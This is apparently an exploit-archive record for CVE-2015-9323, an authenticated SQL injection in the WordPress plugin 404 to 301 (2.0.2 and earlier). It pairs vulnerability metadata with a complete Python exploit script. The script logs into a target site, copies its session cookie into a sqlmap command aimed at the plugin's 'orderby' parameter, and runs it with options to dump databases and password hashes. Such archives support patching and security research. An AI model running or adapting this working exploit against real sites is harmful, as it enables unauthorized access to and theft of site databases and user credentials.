{"exploit":{"id":"EDB-50698","name":"Wordpress Plugin 404 to 301 2.0.2 - Authenticated SQL Injection (SQLi)","description":"Wordpress Plugin 404 to 301 2.0.2 - Authenticated SQL Injection (SQLi)","cves":["CVE-2015-9323"],"author":"Ron Jost","published":"2022-02-02","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/50698","path":"exploits/php/webapps/50698.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-50698.py","vulnerabilities":[{"id":"CVE-2015-9323","state":"PUBLISHED","title":null,"titleSource":null,"description":"The 404-to-301 plugin before 2.0.3 for WordPress has SQL injection.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-9323","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-9323"},"updatedAt":"2024-08-06T08:43:42.698Z","retrievedAt":"2026-11-27T00:09:29.038Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-50698.png?v=2","url":"https://exploitbin.com/exploits/EDB-50698","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-50698/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-50698/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Wordpress Plugin 404 to 301 2.0.2 - SQL-Injection (Authenticated)\n# Date 30.01.2022\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://de.wordpress.org/plugins/404-to-301/\n# Software Link: https://downloads.wordpress.org/plugin/404-to-301.2.0.2.zip\n# Version: <= 2.0.2\n# Tested on: Ubuntu 20.04\n# CVE: CVE-2015-9323\n# CWE: CWE-89\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2015-9323/README.md\n\n'''\nDescription:\nThe 404-to-301 plugin before 2.0.3 for WordPress has SQL injection.\n'''\n\nbanner = '''\n\n .o88b. db    db d88888b        .d888b.  .d88b.   db   ooooo        .d888b. d8888b. .d888b. d8888b.\nd8P  Y8 88    88 88'            VP  `8D .8P  88. o88  8P~~~~        88' `8D VP  `8D VP  `8D VP  `8D\n8P      Y8    8P 88ooooo           odD' 88  d'88  88 dP             `V8o88'   oooY'    odD'   oooY'\n8b      `8b  d8' 88~~~~~ C8888D  .88'   88 d' 88  88 V8888b. C8888D    d8'    ~~~b.  .88'     ~~~b.\nY8b  d8  `8bd8'  88.            j88.    `88  d8'  88     `8D          d8'   db   8D j88.    db   8D\n `Y88P'    YP    Y88888P        888888D  `Y88P'   VP 88oobY'         d8'    Y8888P' 888888D Y8888P'\n\n                                                            [+] 404 to 301 - SQL-Injection\n                                                            [@] Developed by Ron Jost (Hacker5preme)\n\n'''\nprint(banner)\n\nimport argparse\nimport os\nimport requests\nfrom datetime import datetime\nimport json\n\n# User-Input:\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin 404 to 301 - SQL Injection')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nmy_parser.add_argument('-u', '--USERNAME', type=str)\nmy_parser.add_argument('-p', '--PASSWORD', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\nusername = args.USERNAME\npassword = args.PASSWORD\n\nprint('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))\n\n\n# Authentication:\nsession = requests.Session()\nauth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'\ncheck = session.get(auth_url)\n# Header:\nheader = {\n    'Host': target_ip,\n    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',\n    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',\n    'Accept-Encoding': 'gzip, deflate',\n    'Content-Type': 'application/x-www-form-urlencoded',\n    'Origin': 'http://' + target_ip,\n    'Connection': 'close',\n    'Upgrade-Insecure-Requests': '1'\n}\n\n# Body:\nbody = {\n    'log': username,\n    'pwd': password,\n    'wp-submit': 'Log In',\n    'testcookie': '1'\n}\nauth = session.post(auth_url, headers=header, data=body)\n\n# SQL-Injection (Exploit):\n\n# Generate payload for sqlmap\nprint ('[+] Payload for sqlmap exploitation:')\ncookies_session = session.cookies.get_dict()\ncookie = json.dumps(cookies_session)\ncookie = cookie.replace('\"}','')\ncookie = cookie.replace('{\"', '')\ncookie = cookie.replace('\"', '')\ncookie = cookie.replace(\" \", '')\ncookie = cookie.replace(\":\", '=')\ncookie = cookie.replace(',', '; ')\n\nexploit_url = r'sqlmap -u \"http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin.php?page=i4t3-logs&orderby=1\"'\nexploit_risk = ' --level 2 --risk 2'\nexploit_cookie = r' --cookie=\"' + cookie + r'\" '\n\nprint('    Sqlmap options:')\nprint('     -a, --all           Retrieve everything')\nprint('     -b, --banner        Retrieve DBMS banner')\nprint('     --current-user      Retrieve DBMS current user')\nprint('     --current-db        Retrieve DBMS current database')\nprint('     --passwords         Enumerate DBMS users password hashes')\nprint('     --tables            Enumerate DBMS database tables')\nprint('     --columns           Enumerate DBMS database table column')\nprint('     --schema            Enumerate DBMS schema')\nprint('     --dump              Dump DBMS database table entries')\nprint('     --dump-all          Dump all DBMS databases tables entries')\nretrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')\nexploit_code = exploit_url + exploit_risk + exploit_cookie + retrieve_mode + ' -p orderby -v0'\nos.system(exploit_code)\nprint('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))","sha256":"0de19a3e62594e55f83995700830995ab8e2226d1204ff5424c80a1941035922","bytes":4420,"fetchedAt":"2026-11-27T00:09:24.150Z","encoding":"utf-8 (display only; download retains original bytes)"}